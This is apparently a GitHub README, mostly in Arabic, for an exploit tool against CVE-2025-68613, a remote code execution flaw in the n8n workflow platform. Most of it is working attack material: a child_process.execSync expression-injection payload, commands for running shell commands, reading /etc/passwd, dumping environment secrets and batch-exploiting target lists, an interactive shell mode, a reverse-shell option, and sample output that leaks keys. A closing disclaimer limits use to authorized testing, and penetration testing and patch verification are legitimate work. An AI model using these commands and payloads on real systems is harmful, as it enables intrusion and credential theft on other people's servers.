n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ تنفيذ التعليمات البرمجية عن بُعد في أتمتة سير العمل
n8n God Mode Ultimate هو إطار شامل لاختبار الأمان مصمم لاكتشاف والتحقق من CVE-2025-68613 في منصات أتمتة سير عمل n8n. تؤثر هذه الثغرة الحرجة لتنفيذ الأكواد عن بُعد (RCE) على إصدارات n8n من خلال حقن التعبيرات في سياقات تنفيذ سير العمل.
الإصدارات المتأثرة:
الإصدارات المصلَّحة:
--detect - اكتشاف الإصدار فقط (الأسرع وغير التدخلي)--safe - فحص آمن للثغرة دون استغلال--poc - التحقق من إثبات المفهوم لـ RCE--exploit - وضع الاستغلال الكاملread <file> - قراءة ملفات بعيدةwrite <file> <content> - كتابة ملفات على الهدف# Python 3.8 or higher
python3 --version
# pip package manager
pip3 --version
# Clone the repository
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
# Install required packages
pip3 install -r requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6
# Display help menu
python3 n8n-godmode-ultimate.py -h
# Detect n8n version (non-intrusive)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect
# Safe vulnerability check
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password
# Proof-of-concept RCE
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password
# Full exploitation
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password
# Execute single command
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --cmd "whoami"
# Read remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --read-file "/etc/passwd"
# Write remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"
# Extract environment variables
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --dump-env
# Interactive shell
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --shell
# Scan multiple targets from file
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20
# Batch exploitation
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10
صيغة targets.txt:
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org
عند الدخول في وضع الصدفة (--shell):
n8n> whoami # Execute command
n8n> read /etc/passwd # Read file
n8n> env # Show environment variables
n8n> info # System information
n8n> history # Command history
n8n> exit # Exit shell
-u, --url URL Target n8n URL
-l, --list FILE File containing target URLs
-t, --threads NUM Number of threads for batch scanning (default: 10)
-e, --email EMAIL n8n user email
-p, --password PASS n8n user password
--detect Version detection only (fastest)
--safe Safe check without exploitation
--poc RCE proof-of-concept
--exploit Full exploitation mode
--god Enable god mode
--cmd COMMAND Execute single command
--read-file PATH Read remote file
--write-file PATH Write remote file
--content DATA Content for write operation
--dump-env Extract all environment variables
--shell Interactive shell mode
--revshell HOST:PORT Reverse shell payload
--mode MODE Exploit mode: schedule|webhook|code|expression (default: schedule)
--timeout SEC Command timeout in seconds (default: 30)
--cleanup Delete workflows after execution
-k, --insecure Disable SSL verification
-v, --verbose Verbose output
-q, --quiet Minimal output
ينشئ سير عمل بمشغّل مجدول يُنفَّذ تلقائيًا كل 3 ثوانٍ. الطريقة الأكثر موثوقية.
Payload: {{(function(){
return this.process.mainModule.require('child_process')
.execSync('whoami').toString()
})()}}
ينشئ نقطة نهاية webhook عبر HTTP تنفّذ الأوامر عند تشغيلها.
يحقن الكود مباشرة في عقدة Code مع وصول إلى child_process.
تنفيذ يدوي عبر نظام تقييم التعبيرات في n8n.
يستخرج الإصدار من إعدادات Sentry المشفرة بـ base64 في صفحة تسجيل الدخول:
<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />
/rest/login - المصادقة/rest/workflows - عمليات CRUD لسير العمل/rest/credentials - تعداد بيانات الاعتماد/rest/executions - استرجاع سجلات التنفيذ/rest/users - تعداد المستخدمين/rest/settings - إعدادات النظام[*] n8n God Mode Ultimate v1.0.0
[*] Target: https://target.example.com
[✓] n8n Version: 1.36.1
[!] Status: VULNERABLE (< 1.120.4)
[*] Authentication successful
[*] Creating exploitation workflow...
[*] Workflow ID: hd6LxSY765WBThqd
[*] Executing command: whoami
[✓] Command executed successfully!
[+] Output: root
n8n> whoami
[+] root
n8n> read /etc/hostname
[+] n8n-production-server
n8n> env
[+] Environment Variables:
N8N_ENCRYPTION_KEY=a1b2c3d4e5f6...
DATABASE_HOST=postgres.internal
AWS_ACCESS_KEY_ID=AKIA...
للاستخدام المصرَّح به في اختبارات الأمان فقط
هذه الأداة متوفرة لأغراض تعليمية واختبارات الأمان المصرَّح بها. يجب على المستخدمين الامتثال لجميع القوانين واللوائح المعمول بها.
يجب عليك:
يجب عليك عدم:
لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة. الوصول غير المصرَّح به إلى أنظمة الكمبيوتر غير قانوني بموجب:
استخدمها على مسؤوليتك الخاصة. أنت مسؤول عن أفعالك.
المساهمات مرحب بها! يرجى اتباع هذه الإرشادات:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)Satyam Rastogi
هذا المشروع مرخَّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
MIT License
Copyright (c) 2025 Satyam Rastogi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
للقضايا الأمنية، يرجى الإبلاغ بمسؤولية:
⭐ امنح هذا المستودع نجمة إذا وجدته مفيدًا!
صُنع بـ 💻 بواسطة باحثين أمنيين، للباحثين الأمنيين